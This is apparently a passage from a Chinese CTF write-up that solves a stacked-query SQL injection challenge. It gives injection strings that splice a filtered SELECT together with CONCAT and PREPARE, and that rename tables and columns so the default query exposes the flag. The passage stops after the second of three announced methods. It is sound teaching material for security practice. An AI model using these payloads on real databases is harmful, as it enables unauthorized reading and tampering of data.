show columns from `words` //查看words表的结构 (show full 显示表格详细信息) show columns from `1919810931114514` 1919810931114514里面有flag的信息。 默认查询的应该是words表。 那……预设的可能是 SELECT * FROM words WHERE inject='inject' ………额,sql语句怎么改表名?
查了一波资料,似乎有三种方法。
2.方法
一.select绕过
通过set、prepare、concat语句预设拼接好的select语句,运行即可。
1 2 3 4 5
?inject=1'; SET @lgy=concat('sel','ect * from `1919810931114514`;');//concat可以拼接字符串 PREPARE std from @lgy; //预设拼接后的语句,绕过select过滤 execute std; //执行 --+ //注释
对于预设语句也是有过滤……确实预设好像挺秀的……
这个过滤用&&,还用strstr……用大小写绕过。
可以得到flag。
二.更改表名
1 2 3 4 5 6 7 8
rename table `words` to `ina`; rename table `1919810931114514` to `words`; 结果是报错: Unknown column 'id' in 'where clause' 预设查询的是where id =…… 但改完后表中没有这一列 alter table `words` change `flag` `id` varchar(100); //ALTER TABLE tiger (表名) CHANGE tigername(要修改的列) name (修改后的列名) VARCHAR(20)(类型); //VARCHAR(M)是一种比CHAR更加灵活的数据类型,同样用于表示字符数据,但是VARCHAR可以保存可变长度的字符串。其中M代表该数据类型所允许保存的字符串的最大长度。